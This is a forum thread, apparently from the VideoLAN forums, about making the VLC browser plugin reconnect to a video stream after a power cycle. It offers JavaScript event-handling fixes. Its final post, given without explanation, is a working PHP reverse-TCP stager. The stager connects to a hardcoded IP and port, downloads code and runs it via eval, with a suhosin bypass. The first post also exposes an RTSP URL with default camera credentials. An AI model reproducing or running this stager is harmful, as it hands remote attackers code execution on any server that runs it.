Page 1 of 1

Web VLC Plugin Can not re-connect when power cycle

Posted: 20 Mar 2018 08:50
by duanxian1888
I faced a problem when using IE VLC plugin V2.2.1, .code is below
------------------------------------------------------------------------------------------------------------
<html>
<head><title>Demo of VLC mozilla plugin</title></head>
<body>
<embed type="application/x-vlc-plugin"
name="video1"
autoplay="yes" loop="yes" width="400" height="300"
autostart="yes" branding = "no"
events="True"
src="rtsp://admin:Admin@192.168.1.11:554/cam/realmonitor?channel=1&subtype=0" />
</body>
</html>
---------------------------------------------------------------------------------------------
When camera is power off and power on again, IE can not get video again. how to solved it?

Re: Web VLC Plugin Can not re-connect when power cycle

Posted: 31 Mar 2018 01:34
by da2424
You could listen to the MediaPlayerEncounteredError event. If this event fires, wait for a while and try to start the playback again automatically.
Here is a sample how you can use events: https://wiki.videolan.org/Documentation ... #Example_2

Re: Web VLC Plugin Can not re-connect when power cycle

Posted: 28 May 2018 11:02
by andre85
You could listen to the MediaPlayerEncounteredError event. If this event fires, wait for a while and try to start the playback again automatically.
Here is a sample how you can use events: https://wiki.videolan.org/Documentation ... #Example_2
Hi, i'm also looking for a method to reconnect on connection loss, can you please provide more information about this event?

If i add this code:
function registerVLCEvent(event, handler) {
var vlc = getVLC("vlc");
if (vlc) {
if (vlc.attachEvent) {
// Microsoft
vlc.attachEvent (event, handler);
} else if (vlc.addEventListener) {
// Mozilla: DOM level 2
vlc.addEventListener (event, handler, false);
}
}
}
// stop listening to event
function unregisterVLCEvent(event, handler) {
var vlc = getVLC("vlc");
if (vlc) {
if (vlc.detachEvent) {
// Microsoft
vlc.detachEvent (event, handler);
} else if (vlc.removeEventListener) {
// Mozilla: DOM level 2
vlc.removeEventListener (event, handler, false);
}
}
}
function handle_MediaPlayerEncounteredError(){
alert("EncounteredError");
}

registerVLCEvent("MediaPlayerEncounteredError", handle_MediaPlayerEncounteredError);

How to say "wait for a while and try to start the playback again automatically"?

Thanks!

Re: Web VLC Plugin Can not re-connect when power cycle

Posted: 29 May 2018 22:57
by da2424
Hi, i'm also looking for a method to reconnect on connection loss, can you please provide more information about this event?
This event fires if the player stops the playback because an error was encountered. For example, this can be an network error.

How to say "wait for a while and try to start the playback again automatically"?
Use the method setTimeout():

Code: Select all

function handle_MediaPlayerEncounteredError(){ setTimeout(restartPlayer, 3000); //wait for 3 seconds } function restartPlayer(){ vlc.playlist.play(); }

Re: Web VLC Plugin Can not re-connect when power cycle

Posted: 01 Jun 2018 17:34
by andre85
Hi, i'm also looking for a method to reconnect on connection loss, can you please provide more information about this event?
This event fires if the player stops the playback because an error was encountered. For example, this can be an network error.

How to say "wait for a while and try to start the playback again automatically"?
Use the method setTimeout():
function handle_MediaPlayerEncounteredError(){
setTimeout(restartPlayer, 3000); //wait for 3 seconds
}
function restartPlayer(){
vlc.playlist.play();
}
Many thanks for your explanation but i'm surely doing something wrong..

Here is my code:
<!DOCTYPE html>
<html>



<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>

<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">


<object
classid="clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921"
id="vlc"
name="vlc"
class="vlcPlayer"
events="True"
width="1280"
height="720">
<param name="Src" value="http://MYIP:8000/ts" /> <!-- ie -->
<param name="ShowDisplay" value="True" />
<param name="AutoLoop" value="False" />
<param name="AutoPlay" value="True" />

<!-- win chrome and firefox-->
<embed id="vlcEmb" type="application/x-google-vlc-plugin" version="VideoLAN.VLCPlugin.2" autoplay="yes" loop="no" width="1280" height="720"
target="http://MYIP:8000/ts" ></embed>
</object>





<script type="text/javascript" language="javascript">

function registerVLCEvent(event, handler) {
var vlc = getVLC("vlc");
if (vlc) {
if (vlc.attachEvent) {
// Microsoft
vlc.attachEvent (event, handler);
} else if (vlc.addEventListener) {
// Mozilla: DOM level 2
vlc.addEventListener (event, handler, false);
}
}
}

function handle_MediaPlayerEncounteredError(){
alert("EncounteredError");
}

registerVLCEvent("MediaPlayerEncounteredError", handle_MediaPlayerEncounteredError);

function handle_MediaPlayerEncounteredError(){
setTimeout(restartPlayer, 10000); //wait for 3 seconds
}
function restartPlayer(){
vlc.playlist.play();
}

</script>

</body>
</html>
But nothing happen when reconnect...

Re: Web VLC Plugin Can not re-connect when power cycle

Posted: 02 Jun 2018 20:54
by da2424
Yes, I forgot that vlc.playlist.stop() is needed before restarting is possible.
The following script should work.
I have also added a workaround for Internet Explorer 11.

Code: Select all

<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=10"/> <!-- attachEvent() doesn't work in IE11. As a workaround, emulate the IE10 mode --> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <embed id="vlc" type="application/x-vlc-plugin" version="VideoLAN.VLCPlugin.2" autoplay="yes" loop="no" width="1280" height="720" target="http://MYIP:8000/ts" /> <script type="text/javascript"> function registerVLCEvent(event, handler) { var vlc = document.getElementById("vlc"); if (vlc) { if (vlc.attachEvent) { // Microsoft vlc.attachEvent (event, handler); } else if (vlc.addEventListener) { // Mozilla: DOM level 2 vlc.addEventListener (event, handler, false); } } } registerVLCEvent("MediaPlayerEncounteredError", handle_MediaPlayerEncounteredError); function handle_MediaPlayerEncounteredError(){ setTimeout(restartPlayer, 10000); //wait for 3 seconds } function restartPlayer(){ var vlc = document.getElementById("vlc"); vlc.playlist.stop(); vlc.playlist.play(); } </script> </body> </html>

Re: Web VLC Plugin Can not re-connect when power cycle

Posted: 06 Jun 2018 10:03
by andre85
Yes, I forgot that vlc.playlist.stop() is needed before restarting is possible.
The following script should work.
I have also added a workaround for Internet Explorer 11.

Code: Select all

CUT

Thanks again, i've tried your code as it is but don't work, i see the player but no video start..


Using this code instead:
<!DOCTYPE html>

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=10"/> <!-- attachEvent() doesn't work in IE11. As a workaround, emulate the IE10 mode -->
</head>


<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">


<object classid="clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921" codebase="http://download.videolan.org/pub/videol ... /axvlc.cab" id="vlc" name="vlc" class="vlcPlayer" events="True" width="1280" height="720">
<param name="autostart" value="true" />
<param name="Src" value="http://MYENCODER:8000/ts" /> <!-- ie -->
<param name="ShowDisplay" value="True" />
<param name="AutoLoop" value="False" />
<param name="AutoPlay" value="True" />
<param name="allowfullscreen" value="false" />

</object>



<script type="text/javascript">

function registerVLCEvent(event, handler) {
var vlc = document.getElementById("vlc");
if (vlc) {
if (vlc.attachEvent) {
// Microsoft
vlc.attachEvent (event, handler);
} else if (vlc.addEventListener) {
// Mozilla: DOM level 2
vlc.addEventListener (event, handler, false);
}
}
}
registerVLCEvent("MediaPlayerEncounteredError", handle_MediaPlayerEncounteredError);
function handle_MediaPlayerEncounteredError(){
setTimeout(restartPlayer, 3000); //wait for 3 seconds
}

function restartPlayer()
{
var vlc = document.getElementById("vlc");
vlc.playlist.stop();
vlc.playlist.play();
}

</script>

</body>
</html>
I see the video but don't reconnect after 3sec..

I can't understand where is the error.. i'm using IE11


Thanks a lot for your answers!!

Re: Web VLC Plugin Can not re-connect when power cycle

Posted: 06 Jun 2018 19:16
by da2424
Maybe VLC doesn't dedect an error.
Does the MediaPlayerEncounteredError event firing?
You can test it with this code:

Code: Select all

function handle_MediaPlayerEncounteredError(){ alert("Error dedected!"); setTimeout(restartPlayer, 3000); //wait for 3 seconds }
It should appear an window with the text "Error dedected".
If yes, you could try to use vlc.playlist.playItem(0) instead of vlc.playlist.stop() and vlc.playlist.play()

Re: Web VLC Plugin Can not re-connect when power cycle

Posted: 07 Jun 2018 11:44
by andre85
Maybe VLC doesn't dedect an error.
Does the MediaPlayerEncounteredError event firing?
You can test it with this code:

Code: Select all

function handle_MediaPlayerEncounteredError(){ alert("Error dedected!"); setTimeout(restartPlayer, 3000); //wait for 3 seconds }
It should appear an window with the text "Error dedected".
If yes, you could try to use vlc.playlist.playItem(0) instead of vlc.playlist.stop() and vlc.playlist.play()

I think you focused the problem, no alert appear so vlc idk why don't go in error state..

Re: Web VLC Plugin Can not re-connect when power cycle

Posted: 07 Jun 2018 12:00
by anynameuser

Code: Select all

<?php /*<?php /**/ error_reporting(0); $ip = '192.168.61.196'; $port = 6699; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die(); ?>